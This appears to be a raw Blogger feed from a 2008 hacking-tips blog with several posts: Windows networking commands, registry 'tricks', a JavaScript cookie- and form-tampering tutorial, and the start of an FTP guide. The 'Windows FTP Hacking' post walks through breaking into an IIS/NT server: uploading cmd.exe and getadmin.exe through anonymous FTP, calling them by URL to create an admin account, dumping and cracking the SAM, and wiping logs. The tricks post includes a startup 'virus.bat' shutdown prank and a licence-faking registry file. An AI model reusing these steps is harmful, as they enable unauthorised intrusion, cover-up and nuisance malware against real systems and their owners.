href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8309116978451464609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/8309116978451464609'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/database-hacking.html' title='DataBase Hacking'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-1989459870078643688</id><published>2008-10-12T21:33:00.004+05:30</published><updated>2008-10-14T10:44:55.574+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='Networking'/><title type='text'>Networking commands</title><content type='html'>Here are some cool networking commands:-&lt;br /&gt;&lt;br /&gt;isplay Connection Configuration: ipconfig /all&lt;br /&gt;&lt;br /&gt;Display DNS Cache Info Configuration: ipconfig /displaydns&lt;br /&gt;&lt;br /&gt;Clear DNS Cache: ipconfig /flushdns&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Release All IP Address Connections: ipconfig /release&lt;br /&gt;&lt;br /&gt;Renew All IP Address Connections: ipconfig /renew&lt;br /&gt;&lt;br /&gt;Re-Register the DNS connections: ipconfig /registerdns&lt;br /&gt;&lt;br /&gt;Display DHCP Class Information: ipconfig /showclassid&lt;br /&gt;&lt;br /&gt;Change/Modify DHCP Class ID: ipconfig /setclassid&lt;br /&gt;&lt;br /&gt;Network Connections: control netconnections&lt;br /&gt;&lt;br /&gt;Network Setup Wizard: netsetup.cpl&lt;br /&gt;&lt;br /&gt;Test Connectivity: ping http://www.yahoo.com/&lt;br /&gt;&lt;br /&gt;Trace IP address Route: tracert&lt;br /&gt;&lt;br /&gt;Displays the TCP/IP protocol sessions: netstat&lt;br /&gt;&lt;br /&gt;Display Local Route: route&lt;br /&gt;&lt;br /&gt;Display Resolved MAC Addresses: arp&lt;br /&gt;&lt;br /&gt;Display Name of Computer Currently on: hostname&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-1989459870078643688?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/1989459870078643688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=1989459870078643688' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1989459870078643688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1989459870078643688'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/networking-commands.html' title='Networking commands'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-5784599394981701710</id><published>2008-10-12T21:21:00.011+05:30</published><updated>2008-10-24T20:44:35.843+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Registry'/><title type='text'>Real Tricks -1</title><content type='html'>note:-these tricks are collected over net.well i don't guarantee you that all tricks will work.use the tricks at your own risk.&lt;br /&gt;&lt;br /&gt;here r some real trick for u all&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Disable The Send Error Report&lt;/span&gt;, to Microsoft&lt;br /&gt;To disable the stupid feature in WinXP which&lt;br /&gt;tries to send a report to microsoft every time&lt;br /&gt;a program crashes, you will have to do this:&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;******************************************&lt;br /&gt;&lt;br /&gt;Open Control Panel&lt;br /&gt;&lt;br /&gt;Click on System.&lt;br /&gt;Click on Performance and Maintenance.&lt;br /&gt;Then click on the Advanced tab&lt;br /&gt;Click on the error reporting button on&lt;br /&gt;the bottom of the windows.&lt;br /&gt;Select Disable error reporting.&lt;br /&gt;Click OK&lt;br /&gt;Click OK&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;check validation&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;type oobe/msoobe /a in run&lt;br /&gt;&lt;br /&gt;"Add_Licence_To_Your_Windows.reg" form&lt;br /&gt;&lt;br /&gt;http://www.filelime.com/upload/files/Add_Licence_To_Your_Windows.reg&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;delete virus&lt;/span&gt;&lt;br /&gt;delete virus&lt;br /&gt;You have to use an anti virus to detect a virus&lt;br /&gt;or worm.That will delete your virus if it can&lt;br /&gt;do that.Otherwise you may try another tricks&lt;br /&gt;to delete any infectious file.Open nero burning&lt;br /&gt;rom,explore your drives and just drag suspecting&lt;br /&gt;files with extension .bat,.inp (may be .exe,.cpp,.dat etc)&lt;br /&gt;to desctop.Now delete manually from desctop.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How to Disable or enable autoplay.&lt;/span&gt;&lt;br /&gt;How to Disable or enable autoplay.&lt;br /&gt;Type in run "gpedit.msc"(without "")-&gt; computer&lt;br /&gt;configuration-&gt;Administrative Template-&gt;Ststem-&gt;&lt;br /&gt;Yurn autoplay on/off&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;change d start button&lt;/span&gt;&lt;br /&gt;change d start button&lt;br /&gt;First you have to download a tool resource&lt;br /&gt;hacker from website http://rpi.net.au/ajohnson/&lt;br /&gt;resourcehacker. Now open reshacker.exe and open&lt;br /&gt;file menu. Go to c:\windows and open explorer.&lt;br /&gt;exe. Now click on the string table on the left&lt;br /&gt;hand side and then select 37 and then 1033. You&lt;br /&gt;will see “start” on the right hand side of the&lt;br /&gt;screen. Now you can delete the letters start&lt;br /&gt;but only under “ “ . Suppose you name it&lt;br /&gt;“Techno India”. Then click on the compile script&lt;br /&gt;button. Save this file as say “newexplorer.exe”&lt;br /&gt;in windows. Now start registry editor by&lt;br /&gt;typing regdit in run window. Go to key&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&lt;br /&gt;NT\CurrentVersion\Winlogon. Select shell ,&lt;br /&gt;right click it and select modify , and then&lt;br /&gt;write the new version of explorer.exe i.e.&lt;br /&gt;newexplorer.exe. This will load modified version&lt;br /&gt;of explorer.exe when system boots. Restart&lt;br /&gt;the system and find the effect.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;We can make a batch file which will Shutdown the computer everytime on startup !&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here is how ?&lt;br /&gt;&lt;br /&gt;? Open Notepad&lt;br /&gt;&lt;br /&gt;? Type :&lt;br /&gt;&lt;br /&gt;@ECHO OFF&lt;br /&gt;&lt;br /&gt;shutdown -s -t 10 -c "Virus Attack..."&lt;br /&gt;&lt;br /&gt;exit&lt;br /&gt;&lt;br /&gt;? File &gt;&gt; Save As...&lt;br /&gt;&lt;br /&gt;? Name it : virus.bat&lt;br /&gt;&lt;br /&gt;? Start &gt;&gt; All Programs&lt;br /&gt;&lt;br /&gt;? Right Click on Startup &gt;&gt; Open&lt;br /&gt;&lt;br /&gt;? This open the Startup folder&lt;br /&gt;&lt;br /&gt;? Paste the Virus.bat file here !&lt;br /&gt;&lt;br /&gt;*** That's all , now the computer will&lt;br /&gt;automatically shutdown on every startup !&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Change XP Boot Screen&lt;/span&gt;&lt;br /&gt;Change XP Boot Screen&lt;br /&gt;If you would like to change your boot up screen follow the directions below. These instructions assume that you have a place to download the boot screen from the net. If you would like to download a boot screen, visit http://www.themexp.org&lt;br /&gt;&lt;br /&gt;1. Backup (copy) the file %windir%\system32\ntoskrnl.exe (most likely C:\windows\system32\ntoskrnl.exe - the boot screen)&lt;br /&gt;2. Download the .zip to your computer (important: make sure to get the right version, XP or XP SP1)&lt;br /&gt;3. Extract ntoskrnl.exe to a directory other than %windir%\system32 (most likely C:\windows\system32)&lt;br /&gt;4. Reboot your computer into Safe Mode (hit F8 before the boot screen) or into true DOS (from a boot disk)&lt;br /&gt;5. Overwrite the file %windir%\system32\ntoskrnl.exe (which should have been backed up) with the extracted exe&lt;br /&gt;6. Reboot your computer as you normally would&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Associate an icon with a drive&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To set the icon of any drive (hard disk, cd rom or anything else) with a letter (C:\ etc.), run REGEDIT (Start -&gt; Run -&gt; regedit)&lt;br /&gt;&lt;br /&gt;Navigate to:&lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer&lt;br /&gt;&lt;br /&gt;If one doesn't already exist, create a new KEY called "DriveIcons". Under this key, create a new key with the letter of your drive.&lt;br /&gt;&lt;br /&gt;I.e. C for your C:\ drive.&lt;br /&gt;&lt;br /&gt;To change the icon for that drive, create a key inside that one called DefaultIcon and set the path of (Default) to the location of your icon&lt;br /&gt;&lt;br /&gt;eg C\DefaultIcon\&lt;br /&gt;then (Default) = D:\Documents\C Drive Icon.ico&lt;br /&gt;&lt;br /&gt;To change the name of that drive, create a key in the drive letter one (eg C\) called DefaultLabel and set the (Default) to what you want the drive to be called.&lt;br /&gt;This is useful if you want to assign a long name to the floppy drive.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Best way to Hide the Recycle Bin from the Desktop&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Open Regedit &amp;amp; explore:&lt;br /&gt;&lt;br /&gt;i&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;f you are using the XP style start menu&lt;br /&gt;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\&lt;br /&gt;&lt;br /&gt;if working with the classic menu:&lt;br /&gt;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\&lt;br /&gt;&lt;br /&gt;Inside, Make new DWORD-Value with the name "{645FF040-5081-101B-9F08-00AA002F954E}" &amp;amp; 'Modify' Value "1"&lt;br /&gt;&lt;br /&gt;That will just hide the Recycle bin icon,&lt;br /&gt;If a Dock is installed, by this procedure the 'Recycle bin' Docklet won't be anyhow affected as by some other Tweaks.&lt;br /&gt;&lt;br /&gt;To restore the desktop icon again, just 'Modify' the same DWORD-Value to "0"&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-1.html"&gt;Real tricks-1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-2.html"&gt;Real tricks-2&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-3.html"&gt;Real tricks-3&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-4.html"&gt;Real tricks-4&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-5784599394981701710?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/5784599394981701710/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=5784599394981701710' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/5784599394981701710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/5784599394981701710'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/real-tricks-1.html' title='Real Tricks -1'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-2852782515970106616</id><published>2008-10-12T17:08:00.001+05:30</published><updated>2008-10-14T10:55:09.925+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='ftp'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Windows FTP Hacking</title><content type='html'>The exact methods may not work, but we aren’t here to train script kiddies, we just want to make you think.&lt;br /&gt;&lt;br /&gt;Johnny Hacker has a Windows NT Server at home. Why? Because he knows if he’s going to hack NT he’s best using the same type of computer…it gives him all the necessary tools. He has installed RAS and has a dial-up connection to the Internet. One morning, around 2:00am he dials into the Internet…his IP address is dynamically assigned to him. He opens up a Command Prompt window and gets down to work. He knows www.company.com’s web server is running IIS. How? Because he once did a search on “batch fil es as CGI” using Excites search engine. That phrase is in Chapter 8 of Internet Information Server’s on-line help….and unfortunately it’s been indexed by Excite’s spider…now Johnny has a list of around 600 web servers running IIS.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;He ftps to www.company.com. He isn’t even sure yet if the server is running the ftp service. He knows if he gets a connection refused message it wont be…he’s in luck though…the following appears on the screen:&lt;br /&gt;&lt;br /&gt;C:\ftp www.company.com&lt;br /&gt;Connected to www.company.com.&lt;br /&gt;220 saturn Microsoft FTP Service (Version 3.0).&lt;br /&gt;User (www.comapny.com:(none)):&lt;br /&gt;&lt;br /&gt;This connection message tells him something extremely important : The NetBIOS name of the server : SATURN. From this he can deduce the name of the anonymous internet account that is used by NT to allow people to anonymously u se the WWW, FTP and Gopher services on the machine. If the default account hasn’t been changed, and he knows that it is very rare if it has been changed, the anonymous internet account will be called IUSR_SATURN. This information will be needed later if he’s to gain Administrator access to the machine. He enters “anonymous” as the user and the following appears:&lt;br /&gt;&lt;br /&gt;331 Anonymous access allowed, send identity (e-mail name) as password.&lt;br /&gt;Password:&lt;br /&gt;&lt;br /&gt;Johnny often tries the “guest” account before using “anonymous” as the user. A fresh install of NT has the “guest” account disabled but some admins enable this account….and the funny thing is they usually put a weak password on it such as ‘guest’ or no password at all. If he manages to gain access to the ftp service with this account he has a valid NT user account….everything that the “guest” account has access to…so does Johnny, and sometimes that can be almost everything. He knows he can access their site now…but there is still a long way to go yet….even at this point he still might not get access. At this point he doesn’t even supply a password…he just presses enter and gets a message stating that the Anonymous user is logged in.&lt;br /&gt;&lt;br /&gt;First off he types “cd /c” because some admins will make the the root of the drive a virtual ftp directory and leave the default alias name : “/c”. Next he sees whether he can actually “put” any files onto the site ie. is the write permission enabled for this f tp site. He’s in luck. Next he types “dir” to see what he has access to. He chuckles to himself when he sees a directory called “CGI-BIN”. Obviously the Webmaster of the NT machine has put this here with the rest of the WWW site so he can remotely make changes to it. Johnny knows that the CGI-BIN has the “Execute” permission so if he can manage to put any program in here he can run it from his web browser. He hopes that the Webmaster hasn’t, using NTFS file-level security, cut off write access to the anonymous internet account to this directory…even though he knows there are sometimes ways round this. He changes to the CGI-BIN directory and then changes the type to I by using the command “binary”. Then he types “put cmd.exe”. He’s in luck..he gets the following response :&lt;br /&gt;&lt;br /&gt;200 PORT command successful.&lt;br /&gt;150 Opening BINARY mode data connection for CMD.EXE.&lt;br /&gt;226 Transfer complete.&lt;br /&gt;208144 bytes sent in 0.06 seconds (3469.07 Kbytes/sec)&lt;br /&gt;&lt;br /&gt;Next he puts getadmin.exe and gasys.dll into the same directory. With these three files in place he doesn’t even gracefully “close” the ftp session; he just closes the Command Prompt window. With a smile on his face he leans back and lights a smoke, savouring the moment…he knows he has them…. After crunching the cigarette out in an overflowing ashtray he connects to AOL. He does this because if logging is enabled on the NT machine the IP address of AOL’s proxy server will be left and not his own…not that it really matters because soon he’ll edit the logfile and wipe all traces of his presence. Opening up the web browser he enters the following URL:&lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/getadmin.exe?IUSR_SATURN&lt;br /&gt;&lt;br /&gt;After about a fifteen second wait the following appears on his web browser:&lt;br /&gt;&lt;br /&gt;CGI Error&lt;br /&gt;The specified CGI application misbehaved by not returning a complete set of&lt;br /&gt;HTTP headers. &lt;br /&gt;&lt;br /&gt;The headers it did return are:&lt;br /&gt;&lt;br /&gt;Congratulations , now account IUSR_SATURN have administrator rights! &lt;br /&gt;&lt;br /&gt;He has just made the anonymous internet account a local administrator and consequently using this account he can do pretty much what he wants to. Firstly though, he has to create an account for himself that he can use to connect to the NT server using NT Explorer and most of the Administrative tools. He can’t use the IUSR_SATURN account because he doesn’t know the randomly generated password. To create an account he enters the following URL:&lt;br /&gt;&lt;br /&gt;cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20cnn%20news%20/add&lt;br /&gt;&lt;br /&gt;He has just created an account called “cnn” with the password “news”. To make the account a local administrator he enters the following URL:&lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/getadmin.exe?cnn&lt;br /&gt;&lt;br /&gt;It has taken him less than ten minutes to do all of this. He disconnects from AOL and clicks on start, goes upto find and does a search for the computer www.company.com. After about a minute the computer is found, next he right clicks on the “computer” and then clicks on Explore. NT Explorer opens and after a little wait Johnny is prompted for a user-name and password. He enters “cnn” and “news”. Moments later he is connected. Admin rights for the computer www.company.com are appended to his own security access token…now he can do anything. Using User Manager for Domains he can retrieve all the account information; he can connect to the Internet Service Manager; he can view Server Manager…first though, using NT Explorer he maps a drive to the hidden system share C$. He changes to the Winnt\system32\logfiles directory and opens up the logfile for that day. He deletes all of the log entries pertaining to his “visit” and saves it. If he gets any message about sharing violations all he has to do is change the date on the computer with the following URL:&lt;br /&gt;&lt;br /&gt;http://www.company.com/cgi-bin/cmd.exe?/c%20date%2002/02/98&lt;br /&gt;&lt;br /&gt;Next, using the Registry Editor he connects to the registry on the remote computer. Then using L0phtcrack he dumps the SAM (the Security Accounts Manager - holds account info) on the NT server and begins cracking all the passwords on the machine. Using the Task Manager he sets the priority to Low because L0phtcrack is fairly processor intensive (NB L0phtcrack ver 2.0 sets the priority to Low anyway) and there is still a few thing he must do to hide the fact that that some-one has gained entry. He deletes cmd.exe, getadmin.exe and gasys.dll from the cgi-bin, then he checks the security event log for the remote NT server using Event Viewer to see if he’s left any traces there.&lt;br /&gt;&lt;br /&gt;Finally using User Manager for Domains he removes admin rights from the IUSR_SATURN account and deletes the cnn account he created a few moments earlier. He doesn’t need this account anymore….L0phtcrack will be able to brute force all the accounts. Next time he connects to this machine it will be using the Administrator account. He breaks his connection to the Internet and sets L0phtcrack’s priority to High, leaves it running and heads to bed…Looking at his alarm clock : it’s just passed 2:30am….Sighing to himself, he mumbles, “Sheesh, I’m getting slow!” and falls asleep with a grin on his face.&lt;br /&gt;&lt;br /&gt;The original filename was ntremote.txt - Author Unknown&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-2852782515970106616?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/2852782515970106616/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=2852782515970106616' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2852782515970106616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2852782515970106616'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/windows-ftp-hacking.html' title='Windows FTP Hacking'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-6696093397096579721</id><published>2008-10-12T16:45:00.001+05:30</published><updated>2008-10-14T10:56:48.241+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Javascrit injections</title><content type='html'>Today I have brought  for you another type of exploit of browser that is Javascript Injection.  Javascript injection is a nifty little technique that allows you to alter a  sites contents without actually leaving the site. This can be very usefull when  say, you need to spoof the server by editing some form options. Examples will be  explained throughout.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-size: 130%;"&gt;Injection  Basics&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Javascript injections are run from the URL bar of the page  you are visiting. To use them, you must first completly empty the URL from the  URL bar. That means no http:// or whatever.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Javascript is run from the URL bar by using the javascript:  protocol. In this tutorial I will only teach you the bare bones of using this,  but if you are a Javascript guru, you can expand on this using plain old  javascript.&lt;br /&gt;&lt;br /&gt;The two commands covered in this tutorial are the alert();  and void(); commands. These are pretty much all you will need in most  situations. For your first javascript, you will make a simple window appear,  first go to any website and then type the following into your URL  bar:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;javascript:alert('Hello,  World');&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You should get a little dialog box that says "Hello,  World". This will be altered later to have more practical uses.&lt;br /&gt;&lt;br /&gt;You can  also have more than one command run at the same time:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;javascript:alert('Hello');  alert('World');&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This would pop up a box that said 'Hello' and than  another that says 'World'.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 130%;"&gt;&lt;span style="font-weight: bold;"&gt;Cookie Editing&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First off, check  to see if the site you are visiting has set any cookies by using this  script:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;javascript:alert(document.cookie);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This  will pop up any information stored in the sites cookies. To edit any  information, we make use of the void(); command.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;javascript:void(document.cookie="Field  = myValue");&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Would either make the field "authorized" or edit it  to say "yes"... now wheter or not this does anything of value depends on the  site you are injecting it on.&lt;br /&gt;&lt;br /&gt;It is also useful to tack an  alert(document.cookie); at the end of the same line to see what effect your  altering had.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 130%;"&gt;&lt;span style="font-weight: bold;"&gt;Form Editing&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Sometimes, to edit  values sent to a given website through a form, you can simply download that html  and edit it slightly to allow you to submit what you want. However, sometimes  the website checks to see if you actually submitted it from the website you were  supposed to. To get around this, we can just edit the form straight from  javascript. &lt;span style="font-weight: bold;"&gt;Note:&lt;/span&gt; The changes are only  temporary, so it's no tuse trying to deface a site through javascript injection  like this.&lt;br /&gt;&lt;br /&gt;Every form on a given webpage (unless named otherwise) is  stored in the forms[x] array... where "x" is the number, in order from top to  bottom, of all the forms in a page. Note that the forms start at 0, so the first  form on the page would actually be 0, and the second would be 1 and so on. Lets  take this example:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;form action="http://www.website.com/submit.php" method="post"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;input type="hidden" name="to" value="admin@website.com"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Note:Since this is the first form on  the page, it is forms[0]&lt;br /&gt;&lt;br /&gt;Say this form was used to email, say vital  server information to the admin of the website. You can't just download the  script and edit it because the submit.php page looks for a referer. You can  check to see what value a certain form element has by using this  script:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;javascript:alert(document.forms[0].to.value)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This  is similar to the alert(document.cookie); discussed previously. In this case, It  would pop up an alert that says "admin@website.com"&lt;br /&gt;&lt;br /&gt;So here's how to  Inject your email into it. You can use pretty much the same technique as the  cookies editing shown earlier:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;javascript:void(document.forms[0].to.value="email@nhacks.com")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This  would change the email of the form to be "email@nhacks.com". Then you could use  the alert(); script shown above to check your work. Or you can couple both of  these commands on one line.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;credits:unknown&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-6696093397096579721?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/6696093397096579721/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=6696093397096579721' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/6696093397096579721'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/6696093397096579721'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/javascrit-injections.html' title='Javascrit injections'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-3806282928164972601</id><published>2008-10-12T16:27:00.004+05:30</published><updated>2008-10-17T23:21:24.187+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='ftp'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>All About FTP</title><content type='html'>&lt;span style="font-weight: bold;"&gt;FTP&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 102, 255);"&gt;Index of this post&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;About FTP&lt;br /&gt;Windows FTP&lt;br /&gt;Unix FTP&lt;br /&gt;FTP commands&lt;br /&gt;Technical Support&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;About FTP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;FTP is short for File Transfer Protocol,And here is the rest of it. this page contains additional information about the FTP command and help using that command in Unix and MS-DOS (Windows). See our FTP section in our dictionary for a complete definition on FTP.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Windows FTP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;From the MS-DOS prompt or shell type in FTP, once typed in you will have access to the FTP command line. In this command line type:&lt;br /&gt;&lt;br /&gt;open ftp.address.domain&lt;br /&gt;&lt;br /&gt;Where address is the name of the server and the domain is the domain such as .COM, .NET... In addition, the IP address can be typed in, such as 255.255.255.0.&lt;br /&gt;&lt;br /&gt;Once connected you will be asked for a username and password; if done successfully, you will have access to transfer files between computers.&lt;br /&gt; &lt;br /&gt;     &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Unix FTP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Unix FTP is used much like Windows; from a command prompt or shell, type in FTP, from FTP you should be able to log into a server, providing you have the proper access.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;FTP Commands&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Depending upon the version of FTP and the operating system being used, each of the below commands may or may not work. Generally typing -help or a ? will list the commands available to you.&lt;br /&gt;&lt;br /&gt;Command&lt;br /&gt;   Information&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;!&lt;/span&gt;     Using this command you will have the capability of toggling back and forth between the operating system and ftp. Once back in the operating system generally typing exit will take you back to the FTP command line.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;? &lt;/span&gt;    Access the Help screen.&lt;br /&gt;&lt;span 